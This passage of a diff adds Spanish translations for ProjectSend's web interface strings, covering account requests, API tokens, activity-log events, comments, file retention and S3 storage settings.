"Variant Also Negotiates": "Variante También Negocia", + "Verify Email Address": "Confirme su correo electrónico", + "Version": "Versión", + "Version :version": "Versión :version", + "View": "Ver", + "View :name": "Ver :name", + "View all": "Ver todo", + "View dashboard counters": "Ver contadores del panel", + "View file": "Ver archivo", + "View news": "Ver noticias", + "View statistics": "Ver estadísticas", + "View system information": "Ver información del sistema", + "Visible widgets": "Widgets visibles", + "View the activity log": "Ver el registro de actividad", + "View your files": "Ver tus archivos", + "Visibility": "Visibilidad", + "Visitors": "Visitantes", + "Warning": "Advertencia", + "Web Server is Down": "El servidor web está caído", + "Website": "Sitio web", + "Welcome": "Bienvenido", + "Welcome to ProjectSend": "Bienvenido a ProjectSend", + "What each kind of account is allowed to do": "Qué puede hacer cada tipo de cuenta", + "When an account is erased, its files and folders": "Cuando se borra una cuenta, sus archivos y carpetas", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Al activarla, se te pedirá un código seguro de tu teléfono al iniciar sesión.", + "When off, self-registered clients wait in the account requests queue until approved.": "Cuando está desactivado, los clientes autorregistrados esperan en la cola de solicitudes hasta ser aprobados.", + "Where outgoing email is actually sent from.": "Desde dónde se envía realmente el correo saliente.", + "Whoops!": "¡Ups!", + "Widgets": "Widgets", + "Worth including when you report a problem.": "Conviene incluirlo cuando informes un problema.", + "Written by": "Escrito por", + "Yellow": "Amarillo", + "Yes": "Sí", + "You are commenting too quickly. Try again in a moment.": "Estás comentando demasiado rápido. Vuelve a intentarlo en un momento.", + "You are commenting too quickly. Try again in :seconds seconds.": "Estás comentando demasiado rápido. Vuelve a intentarlo en :seconds segundos.", + "You are not a member of any group yet.": "Aún no eres miembro de ningún grupo.", + "You are receiving this email because we received a password reset request for your account.": "Ha recibido este mensaje porque se solicitó un restablecimiento de contraseña para su cuenta.", + "You can only share with the clients assigned to you.": "Solo puedes compartir con los clientes que tienes asignados.", + "You cannot comment on this file.": "No puedes comentar en este archivo.", + "You cannot deactivate your own account.": "No puedes desactivar tu propia cuenta.", + "You cannot delete your own account.": "No puedes eliminar tu propia cuenta.", + "You have no notifications yet.": "Aún no tienes notificaciones.", + "You will no longer receive files shared with the group \":name\".": "Ya no recibirás los archivos compartidos con el grupo \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Los datos de tu cuenta fueron modificados recientemente por un administrador. Contacta a tu administrador si esto no era lo esperado.", + "Your account has been approved": "Tu cuenta ha sido aprobada", + "Your account has been created. You can log in now.": "Tu cuenta ha sido creada. Ya puedes iniciar sesión.", + "Your account has been deactivated.": "Tu cuenta ha sido desactivada.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Tu cuenta se desactiva inmediatamente. Después de :days días se elimina permanentemente, incluidos tus datos identificativos en el registro de actividad; esto no se puede deshacer.", + "Your account request has been approved. You can now log in.": "Tu solicitud de cuenta ha sido aprobada. Ya puedes iniciar sesión.", + "Your account request has been denied.": "Tu solicitud de cuenta ha sido rechazada.", + "Your account request has been received. You will be able to log in once it is approved.": "Tu solicitud de cuenta ha sido recibida. Podrás iniciar sesión cuando sea aprobada.", + "Your account request has not been approved yet.": "Tu solicitud de cuenta aún no ha sido aprobada.", + "Your account request was denied": "Tu solicitud de cuenta fue rechazada", + "Your account was updated": "Tu cuenta fue actualizada", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Tu cuenta se desactivará ahora y se eliminará permanentemente después de :days días. Ingresa tu contraseña para confirmar.", + "Your account will no longer require a second code at login, making it less secure.": "Tu cuenta ya no requerirá un segundo código al iniciar sesión, lo que la hace menos segura.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Tu administrador exige autenticación de dos factores en esta cuenta. Configúrala a continuación para continuar.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Tu asunto y cuerpo personalizados se descartarán y se reemplazarán inmediatamente por la redacción predeterminada; esto no se puede deshacer.", + "Your download should start automatically.": "Tu descarga debería comenzar automáticamente.", + "Your existing recovery codes will stop working immediately.": "Tus códigos de recuperación actuales dejarán de funcionar inmediatamente.", + "Your group membership request was approved": "Tu solicitud de membresía a un grupo fue aprobada", + "Your group membership request was denied": "Tu solicitud de membresía a un grupo fue rechazada", + "Your groups": "Tus grupos", + "Your previous request to this group was declined. You can request again later.": "Tu solicitud anterior a este grupo fue rechazada. Podrás solicitarlo de nuevo más adelante.", + "Your request to join the group \":group\" has been approved.": "Tu solicitud para unirte al grupo \":group\" ha sido aprobada.", + "Your request to join the group \":group\" has been denied.": "Tu solicitud para unirte al grupo \":group\" ha sido rechazada.", + "Your request to join the group \":groupName\" has been approved": "Tu solicitud para unirte al grupo \":groupName\" ha sido aprobada", + "Your shared file library": "Tu biblioteca de archivos compartidos", + "API tokens": "Tokens de API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Los tokens permiten que una herramienta externa actúe en tu nombre a través de la API, únicamente con los permisos que le concedas aquí.", + "Token name": "Nombre del token", + "e.g. Zapier": "p. ej. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Ponle el nombre de la herramienta que lo usará, para saber qué estás revocando más adelante.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Un token nunca puede hacer más que tú. Concede solo lo que la herramienta necesite: si tus permisos cambian, el token los sigue.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Solo se listan los permisos sobre los que la API puede actuar actualmente. Aparecerán más a medida que se publiquen nuevos endpoints.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Todavía no hay nada que puedas conceder a un token: ninguno de los endpoints publicados hasta ahora coincide con tus permisos.", + "Select all": "Seleccionar todo", + "Clear all": "Quitar todo", + "Expires in (days)": "Caduca en (días)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Un token que nunca caduca sigue siendo válido hasta que alguien lo revoque a mano. Es preferible una fecha que puedas olvidar sin riesgo.", + "Create token": "Crear token", + "Copy your token now": "Copia tu token ahora", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Esta es la única vez que se mostrará. Solo guardamos un hash, así que no podrá recuperarse después.", + "Copy to clipboard": "Copiar al portapapeles", + "Copied": "Copiado", + "Your tokens": "Tus tokens", + "Revoking a token takes effect immediately.": "Revocar un token surte efecto de inmediato.", + "You have not created any tokens yet.": "Todavía no has creado ningún token.", + "Expired": "Caducado", + "Never used": "Nunca usado", + "Last used :date": "Último uso: :date", + "Revoke this token?": "¿Revocar este token?", + "Any tool using it will stop working immediately. This cannot be undone.": "Cualquier herramienta que lo use dejará de funcionar de inmediato. Esto no se puede deshacer.", + "This file type is not allowed for upload.": "Este tipo de archivo no está permitido para subir.", + "View the client list": "Ver la lista de clientes", + "View the group list": "Ver la lista de grupos", + "Origin": "Origen", + "All origins": "Todos los orígenes", + "Web UI": "Interfaz web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Editar token", + "Save token": "Guardar token", + "The token is shown once, immediately after it is created, and never again.": "El token se muestra una sola vez, justo después de crearlo, y nunca más.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "El token en sí no cambia. Lo que ya lo esté usando seguirá funcionando con lo que definas aquí.", + "Changing permissions takes effect immediately": "Los cambios de permisos se aplican de inmediato", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "El token existente conserva su valor, así que quien lo tenga gana o pierde estos permisos de inmediato. Revócalo y crea uno nuevo si quieres un secreto distinto.", + "Some permissions no longer apply": "Algunos permisos ya no se aplican", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Este token todavía tiene permisos que hoy no hacen nada, y al guardar se eliminarán: :abilities", + "Token updated.": "Token actualizado.", + "How external tools can act on this installation on your behalf.": "Cómo pueden actuar las herramientas externas en esta instalación en tu nombre.", + "OpenAPI specification": "Especificación OpenAPI", + "Endpoints": "Endpoints", + "Method": "Método", + "Tokens": "Tokens", + "Your tokens and what they have been doing.": "Tus tokens y lo que han estado haciendo.", + "Every token on this installation and what it has been doing.": "Todos los tokens de esta instalación y lo que han estado haciendo.", + "Show all tokens": "Ver todos los tokens", + "Show only mine": "Ver solo los míos", + "Manage tokens": "Gestionar tokens", + "Requests (7 days)": "Peticiones (7 días)", + "Failed (7 days)": "Fallidas (7 días)", + "Median response": "Respuesta mediana", + "No requests yet": "Todavía no hay peticiones", + ":count expired": ":count caducado(s)", + "Requests": "Peticiones", + "Succeeded": "Correctas", + "Failed": "Fallidas", + "Request history is kept for :days days.": "El historial de peticiones se conserva :days días.", + "Request history is kept indefinitely.": "El historial de peticiones se conserva indefinidamente.", + "No tokens yet.": "Todavía no hay tokens.", + "Owner": "Propietario", + "Last used": "Último uso", + "History": "Historial", + "Busiest endpoints": "Endpoints más usados", + "No requests in the last 7 days.": "Sin peticiones en los últimos 7 días.", + "Recent changes made through the API": "Cambios recientes hechos a través de la API", + "Full history": "Historial completo", + "Nothing has been changed through the API yet.": "Todavía no se ha cambiado nada a través de la API.", + "API usage": "Uso de la API", + "Open the API dashboard": "Abrir el panel de la API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "No tienes tokens de API. Crea uno para permitir que una herramienta externa actúe en tu nombre.", + "API request history (days)": "Historial de peticiones de API (días)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Cuánto tiempo conserva el panel de la API el registro de cada petición. Es historial de uso, no el registro de actividad: ese es una pista de auditoría y nunca se depura. Pon 0 para conservarlo indefinidamente.", + "A category was created": "Se creó una categoría", + "A category was deleted": "Se eliminó una categoría", + "A category was renamed": "Se renombró una categoría", + "A comment was approved": "Se aprobó un comentario", + "A comment was deleted": "Se eliminó un comentario", + "A comment was edited": "Se editó un comentario", + "A comment was posted on a file": "Se publicó un comentario en un archivo", + "A custom asset was created": "Se creó un recurso personalizado", + "A custom asset was deleted": "Se eliminó un recurso personalizado", + "A custom asset was disabled": "Se desactivó un recurso personalizado", + "A custom asset was enabled": "Se activó un recurso personalizado", + "A custom asset was updated": "Se actualizó un recurso personalizado", + "A custom field was created": "Se creó un campo personalizado", + "A custom field was deleted": "Se eliminó un campo personalizado", + "A custom field was updated": "Se actualizó un campo personalizado", + "A deleted account's files and folders were deleted": "Se eliminaron los archivos y carpetas de una cuenta eliminada", + "A deleted account's files and folders were reassigned": "Se reasignaron los archivos y carpetas de una cuenta eliminada", + "A file was made private": "Se hizo privado un archivo", + "A file was made public": "Se hizo público un archivo", + "A file was previewed": "Se previsualizó un archivo", + "A folder was made private": "Se hizo privada una carpeta", + "A folder was made public": "Se hizo pública una carpeta", + "A group was made private": "Se hizo privado un grupo", + "A group was made public": "Se hizo público un grupo", + "An API token was created": "Se creó un token de API", + "An API token was revoked": "Se revocó un token de API", + "An API token was updated": "Se actualizó un token de API", + "An expired file was automatically deleted after its retention grace period passed": "Se eliminó automáticamente un archivo caducado tras vencer su período de retención", + "An orphan file was automatically deleted after its retention grace period passed": "Se eliminó automáticamente un archivo huérfano tras vencer su período de retención", + "An upload was cancelled": "Se canceló una subida", + "Approved a comment on the file \":subject\"": "Aprobó un comentario en el archivo \":subject\"", + "Cancelled uploading the file \":name\"": "Canceló la subida del archivo \":name\"", + "Commented on the file \":subject\"": "Comentó en el archivo \":subject\"", + "Created the API token \":token_name\"": "Creó el token de API \":token_name\"", + "Created the category \":subject\"": "Creó la categoría \":subject\"", + "Created the custom asset \":subject\"": "Creó el recurso personalizado \":subject\"", + "Created the custom field \":name\"": "Creó el campo personalizado \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Eliminó :files archivo(s) y :folders carpeta(s) de la cuenta eliminada \":name\"", + "Deleted a comment on the file \":subject\"": "Eliminó un comentario en el archivo \":subject\"", + "Deleted the category \":name\"": "Eliminó la categoría \":name\"", + "Deleted the custom asset \":name\"": "Eliminó el recurso personalizado \":name\"", + "Deleted the custom field \":name\"": "Eliminó el campo personalizado \":name\"", + "Deleted the expired file \":name\"": "Eliminó el archivo caducado \":name\"", + "Disabled the custom asset \":subject\"": "Desactivó el recurso personalizado \":subject\"", + "Edited a comment on the file \":subject\"": "Editó un comentario en el archivo \":subject\"", + "Enabled the custom asset \":subject\"": "Activó el recurso personalizado \":subject\"", + "Made the file \":subject\" private": "Hizo privado el archivo \":subject\"", + "Made the file \":subject\" public": "Hizo público el archivo \":subject\"", + "Made the folder \":subject\" private": "Hizo privada la carpeta \":subject\"", + "Made the folder \":subject\" public": "Hizo pública la carpeta \":subject\"", + "Made the group \":subject\" private": "Hizo privado el grupo \":subject\"", + "Made the group \":subject\" public": "Hizo público el grupo \":subject\"", + "Previewed the file \":subject\"": "Previsualizó el archivo \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Reasignó :files archivo(s) y :folders carpeta(s) de la cuenta eliminada \":name\" a :target", + "Renamed the category to \":subject\"": "Renombró la categoría a \":subject\"", + "Revoked the API token \":token_name\"": "Revocó el token de API \":token_name\"", + "Updated the API token \":token_name\"": "Actualizó el token de API \":token_name\"", + "Updated the custom asset \":subject\"": "Actualizó el recurso personalizado \":subject\"", + "Updated the custom field \":name\"": "Actualizó el campo personalizado \":name\"", + "Manage client custom fields": "Gestionar campos personalizados de clientes", + "Moderate comments": "Moderar comentarios", + "Only me": "Solo yo", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Visible para cualquiera que pueda abrir este archivo, incluidos los visitantes sin sesión iniciada.", + "Anyone, including visitors who are not logged in": "Cualquiera, incluidos los visitantes sin sesión iniciada", + "Staff and clients": "Personal y clientes", + "Staff only": "Solo el personal", + "No files — commenting is off": "Ningún archivo: los comentarios están desactivados", + "Only files marked as commentable": "Solo los archivos marcados como comentables", + "Public files only": "Solo los archivos públicos", + "Shared files only": "Solo los archivos compartidos", + "(blank = inheriting the site default)": "(en blanco = hereda el valor del sitio)", + "(blank = unlimited, no site default is set)": "(en blanco = sin límite; el sitio no define uno)", + "(deleted file)": "(archivo eliminado)", + ":authorName commented on \":fileName\"": ":authorName comentó en «:fileName»", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName comentó en «:fileName» y espera aprobación", + ":count comments": ":count comentarios", + ":count file updated.|:count files updated.": ":count archivo actualizado.|:count archivos actualizados.", + ":count waiting for approval": ":count esperando aprobación", + ":guest commented on the file \":subject\"": ":guest comentó en el archivo «:subject»", + ":name — files": ":name — archivos", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Se actualizaron :updated de los :requested archivos seleccionados. El resto se omitió porque no tienes permiso para editarlos.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Una cabecera contundente construida alrededor de tu logo: combina con el estilo Galería para una bandeja de entrada cuidada y con tu marca.", + "Access": "Acceso", + "Access key": "Clave de acceso", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Las cuentas alcanzadas por esta opción solo pueden subir archivos cuya extensión esté en la lista permitida de abajo.", + "A clean, neutral layout that works well for any kind of file sharing.": "Un diseño limpio y neutro que funciona bien para cualquier tipo de intercambio de archivos.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Un comentario de alguien que no inició sesión permanece oculto hasta que un moderador lo aprueba.", + "A comment is waiting for approval": "Un comentario espera aprobación", + "Activity history for :name": "Historial de actividad de :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Una tarea diaria elimina de forma permanente los archivos que superaron su fecha de vencimiento y el período de gracia de abajo.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Una tarea diaria elimina de forma permanente los archivos huérfanos locales más antiguos que el período de gracia de abajo.", + "Add categories": "Agregar categorías", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Agrega la opción «Todos» al comentar en un archivo visible públicamente. Sin esto, los comentarios solo llegan a quienes iniciaron sesión.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Una lista densa, al estilo planilla, que muestra más archivos en pantalla: ideal para colecciones grandes y para quienes suben archivos a menudo.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Una grilla de fotos a todo el ancho pensada para explorar visualmente: la mejor opción para fotógrafos y colecciones con muchas imágenes.", + "Allow clients to add files to this folder from their portal.": "Permitir que los clientes agreguen archivos a esta carpeta desde su portal.", + "Allow comments on this file": "Permitir comentarios en este archivo", + "Allowed file extensions": "Extensiones de archivo permitidas", + "Allow public comments": "Permitir comentarios públicos", + "and :count more": "y :count más", + "Anonymous": "Anónimo", + "Anonymous downloads": "Descargas anónimas", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Se aplica a cualquier cliente que no tenga su propia cuota, incluidos los que se registran solos. Pon 0 para no definir un valor por defecto (sin límite, salvo que el cliente tenga el suyo).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "La página de un grupo público siempre es accesible por su propio enlace una vez que lo marcas como público: esta pantalla solo controla la URL base y un directorio opcional que lista todos los grupos y archivos públicos a la vez.", + "A reset link will be sent if the account exists.": "Si la cuenta existe, se enviará un enlace para restablecer la contraseña.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Un diseño amplio y colorido inspirado en las apps de almacenamiento en la nube, con iconos claros por tipo de archivo y espaciado generoso.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Un diseño sobrio y sin adornos: combina con el estilo Compacto.", + "Auto approve new accounts": "Aprobar automáticamente las cuentas nuevas", + "Automatically delete expired files": "Eliminar automáticamente los archivos vencidos", + "Automatically delete orphan files": "Eliminar automáticamente los archivos huérfanos", + "A visitor commented on a file": "Un visitante comentó en un archivo", + "Awaiting approval": "Esperando aprobación", + "Back": "Volver", + "Be careful when changing this list — it can affect the security of this installation.": "Ten cuidado al modificar esta lista: puede afectar la seguridad de esta instalación.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "En blanco = hereda el valor del sitio (ahora :default MB). Pon un valor para darle a este cliente su propio límite.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "En blanco = sin límite (el sitio no define uno). Pon un valor para darle a este cliente su propio límite.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Acentos azules y una estructura limpia inspirada en las apps de almacenamiento en la nube: combina con el estilo Drive.", + "Branding": "Marca", + "Bucket": "Bucket", + "Bulk edit :count files": "Editar en lote :count archivos", + "by": "por", + "Change at least one field before applying a bulk edit.": "Cambia al menos un campo antes de aplicar una edición en lote.", + "Check for updates": "Buscar actualizaciones", + "Client access": "Acceso de clientes", + "Client downloads": "Descargas de clientes", + "Clients can register themselves": "Los clientes pueden registrarse solos", + "Clients only": "Solo clientes", + "Comment approved.": "Comentario aprobado.", + "Comment deleted.": "Comentario eliminado.", + "Comments": "Comentarios", + "Comments are closed on this file.": "Los comentarios están cerrados en este archivo.", + "Comments already written stay readable even if a file stops accepting new ones.": "Los comentarios ya escritos siguen siendo legibles aunque un archivo deje de aceptar nuevos.", + "Comments awaiting approval": "Comentarios esperando aprobación", + "Comment settings": "Configuración de comentarios", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Comentarios dejados por visitantes que no iniciaron sesión. Nadie puede verlos hasta que los apruebes.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Conecta un bucket externo compatible con S3 (AWS S3, MinIO u otro servicio compatible) como almacenamiento para las subidas nuevas.", + "Custom endpoint": "Endpoint personalizado", + "Custom field created.": "Campo personalizado creado.", + "Custom field deleted.": "Campo personalizado eliminado.", + "Custom field updated.": "Campo personalizado actualizado.", + "Custom range": "Rango personalizado", + "Default storage quota (MB)": "Cuota de almacenamiento por defecto (MB)", + "Delete account?": "¿Eliminar la cuenta?", + "Delete failed job?": "¿Eliminar el trabajo fallido?", + "Delete them permanently": "Eliminarlos de forma permanente", + "Delete this comment?": "¿Eliminar este comentario?", + "Delete this many days after being found": "Eliminar esta cantidad de días después de encontrarlo", + "Delete this many days after expiry": "Eliminar esta cantidad de días después del vencimiento", + "Download :name": "Descargar :name", + "Downloaded by": "Descargado por", + "Download history": "Historial de descargas", + "Download history for :name": "Historial de descargas de :name", + "Duration": "Duración", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Cada archivo tiene un interruptor «Permitir comentarios» en su página de edición. Solo los archivos con esa opción activada aceptan comentarios.", + "edited": "editado", + "Editing window (minutes)": "Ventana de edición (minutos)", + "Email settings saved.": "Configuración de correo guardada.", + "Error": "Error", + "Every download, newest first": "Todas las descargas, de la más reciente a la más antigua", + "Every download across the installation, newest first": "Todas las descargas de la instalación, de la más reciente a la más antigua", + "Every recorded action, newest first": "Todas las acciones registradas, de la más reciente a la más antigua", + "Expiration": "Vencimiento", + "Expired :date": "Venció el :date", + "Expired only": "Solo vencidos", + "Extension, e.g. pdf": "Extensión, por ejemplo pdf", + "Failed at": "Falló el", + "Failed job deleted.": "Trabajo fallido eliminado.", + "Failed jobs": "Trabajos fallidos", + "Failed to connect: :error": "No se pudo conectar: :error", + "File retention": "Retención de archivos", + "File retention settings": "Configuración de retención de archivos", + "Files accessible to :name": "Archivos accesibles para :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Archivos que están en el disco sin un registro que les corresponda: una subida interrumpida, una restauración, un acceso manual al sistema de archivos", + "Files that accept comments": "Archivos que aceptan comentarios", + "Filters": "Filtros", + "Folder renamed.": "Carpeta renombrada.", + "Folders": "Carpetas", + "Grid view": "Vista de cuadrícula", + "Hold comments from visitors for approval": "Retener los comentarios de visitantes para aprobarlos", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Cuánto tiempo después de publicarlo alguien puede seguir editando o eliminando su propio comentario. Pon 0 para no permitirlo nunca.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Cuánto tiempo se conserva un archivo vencido antes de eliminarlo de forma permanente. 0 lo elimina el mismo día que vence.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Cuánto tiempo se conserva un archivo huérfano antes de eliminarlo de forma permanente. 0 lo elimina el mismo día en que se lo encuentra.", + "IP address": "Dirección IP", + "Job queued for retry.": "Trabajo encolado para reintentar.", + "Language: :language": "Idioma: :language", + "Last month": "El mes pasado", + "Last ran": "Última ejecución", + "Last week": "La semana pasada", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Déjalo en blanco para AWS S3. Complétalo para usar un servicio compatible con S3 como MinIO o Backblaze.", + "Leave empty for a file that never expires.": "Déjalo vacío si el archivo nunca vence.", + "Limit file types uploading to": "Limitar los tipos de archivo que pueden subir", + "List view": "Vista de lista", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Hacer pública esta carpeta. Todos los archivos que contenga, ahora y más adelante, a cualquier profundidad, también pasan a ser públicos.", + "Message": "Mensaje", + "Moving": "Moviendo", + "Never run": "Nunca se ejecutó", + "Next cleanup :date": "Próxima limpieza: :date", + "No accounts match \":search\".": "Ninguna cuenta coincide con «:search».", + "Nobody (no restriction)": "Nadie (sin restricción)", + "No comments yet.": "Todavía no hay comentarios.", + "No expired files.": "No hay archivos vencidos.", + "No extensions added yet.": "Todavía no agregaste extensiones.", + "No failed jobs.": "No hay trabajos fallidos.", + "No files match these filters.": "Ningún archivo coincide con estos filtros.", + "None of the selected files could be edited.": "No se pudo editar ninguno de los archivos seleccionados.", + "Nothing is waiting for approval.": "No hay nada esperando aprobación.", + "of :count": "de :count", + "of :quota": "de :quota", + "on": "en", + "Only the fields you change here are applied — everything else is left as-is.": "Solo se aplican los campos que cambies acá; todo lo demás queda como está.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Solo afecta a las subidas hechas después de activar este almacenamiento. Los archivos ya guardados localmente se quedan ahí y siguen funcionando: no hay migración entre almacenamientos.", + "Open public page": "Abrir la página pública", + "Optional. Confines uploads to a subfolder within the bucket.": "Opcional. Limita las subidas a una subcarpeta dentro del bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "La eliminación automática de huérfanos solo funciona sobre el almacenamiento local, así que permanece desactivada mientras el almacenamiento externo esté activo, aunque antes estuviera habilitada.", + "Orphan files": "Archivos huérfanos", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "En las cuentas cloud, el correo saliente se envía por un relay gestionado de forma centralizada. Igual puedes elegir la dirección y el nombre del remitente que ven los destinatarios.", + "Page": "Página", + "Path prefix": "Prefijo de ruta", + "Pending": "Pendiente", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Consulta cada tanto el repositorio público de projectsend.org por una versión más nueva y muestra un aviso en el panel. Nunca se descarga ni se aplica nada automáticamente.", + "Permanently failed": "Falló definitivamente", + "Post comment": "Publicar comentario", + "Preview of :name": "Vista previa de :name", + "Previous month": "Mes anterior", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "El aspecto clásico del correo de ProjectSend: simple y neutro, y combina bien con cualquier tema público o del portal.", + "ProjectSend :version is available": "ProjectSend :version está disponible", + "Public folder": "Carpeta pública", + "Published :date": "Publicado el :date", + "Queue": "Cola", + "Reassign them to another account": "Reasignarlos a otra cuenta", + "Region": "Región", + "Remove a category": "Quitar una categoría", + "Remove categories": "Quitar categorías", + "Rename folder": "Renombrar carpeta", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Lo requieren la mayoría de los servicios compatibles con S3 (MinIO, etc.). Déjalo desactivado para AWS S3.", + "Requires Upload files": "Requiere Subir archivos", + "Retry": "Reintentar", + "Root": "Raíz", + "Scheduler": "Programador de tareas", + "Scheduler settings": "Configuración del programador de tareas", + "Search accounts…": "Buscar cuentas…", + "Search and filter": "Buscar y filtrar", + "Secret key": "Clave secreta", + "Select files to bulk-edit them": "Selecciona archivos para editarlos en lote", + "Sender identity": "Identidad del remitente", + "Set to…": "Establecer en…", + "Share": "Compartir", + "Shared with client": "Compartido con el cliente", + "Shared with me": "Compartidos conmigo", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Compartir una carpeta comparte todo lo que contiene, ahora y más adelante. Gestiona con quién se comparte desde la página de edición.", + "Someone commented on a file": "Alguien comentó en un archivo", + "Sort by": "Ordenar por", + "Storage settings": "Configuración de almacenamiento", + "Storage settings saved.": "Configuración de almacenamiento guardada.", + "Success: connected to bucket \":bucket\".": "Listo: conexión establecida con el bucket «:bucket».", + "Task": "Tarea", + "Test connection": "Probar la conexión", + "Test result": "Resultado de la prueba", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Esta cuenta es dueña de :files archivo(s) y :folders carpeta(s). ¿Qué quieres hacer con ellos?", + "This cannot be undone.": "Esto no se puede deshacer.", + "This client has no accessible files yet.": "Este cliente todavía no tiene archivos accesibles.", + "This deletion is permanent": "Esta eliminación es permanente", + "This file is public because it's inside the public folder \":name\".": "Este archivo es público porque está dentro de la carpeta pública «:name».", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "No se puede eliminar esta carpeta: contiene :count archivo que no subiste tú.|No se puede eliminar esta carpeta: contiene :count archivos que no subiste tú.", + "This removes it from the failed jobs list without retrying it.": "Esto lo quita de la lista de trabajos fallidos sin reintentarlo.", + "Total size": "Tamaño total", + "To update, run:": "Para actualizar, ejecuta:", + "Unavailable while external storage is active": "No disponible mientras el almacenamiento externo esté activo", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "A diferencia de un archivo vencido, un huérfano no tiene una fila en la base de datos que se pueda marcar como eliminada: una vez que se va, no hay vuelta atrás.", + "Unlimited storage": "Almacenamiento sin límite", + "Update :count files": "Actualizar :count archivos", + "Uploaded and shared": "Subidos y compartidos", + "Uploaded by client": "Subido por el cliente", + "Uploaded by me": "Subidos por mí", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Subidos por el cliente, o asignados directamente, por un grupo o por una carpeta compartida.", + "Uploading into \":name\".": "Subiendo a «:name».", + "Upload settings saved.": "Configuración de subidas guardada.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Configuración de subidas guardada. Atención: permitir :extensions puede ser peligroso; mantenlas en la lista solo si entiendes el riesgo.", + "used": "usado", + "Used in the public folder URL.": "Se usa en la URL de la carpeta pública.", + "Use external storage for new uploads": "Usar almacenamiento externo para las subidas nuevas", + "Use path-style addressing": "Usar direccionamiento por ruta", + "View all downloads (:count)": "Ver todas las descargas (:count)", + "View full history (:count)": "Ver el historial completo (:count)", + "View release notes": "Ver las notas de la versión", + "View release notes on GitHub": "Ver las notas de la versión en GitHub", + "Visitor": "Visitante", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Los visitantes que no iniciaron sesión solo pueden escribir comentarios públicos, así que esto no tiene efecto hasta que permitas los comentarios públicos más abajo.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Qué pasa con un archivo cuando vence, o cuando aparece sin dueño en el disco", + "Where": "Dónde", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Si las tareas programadas se están ejecutando de verdad, y el correo en cola que no se pudo enviar", + "Who can comment on files, and which files accept comments": "Quién puede comentar los archivos, y qué archivos aceptan comentarios", + "Who can see this": "Quién puede ver esto", + "Who can write a comment": "Quién puede escribir un comentario", + "Write a comment…": "Escribe un 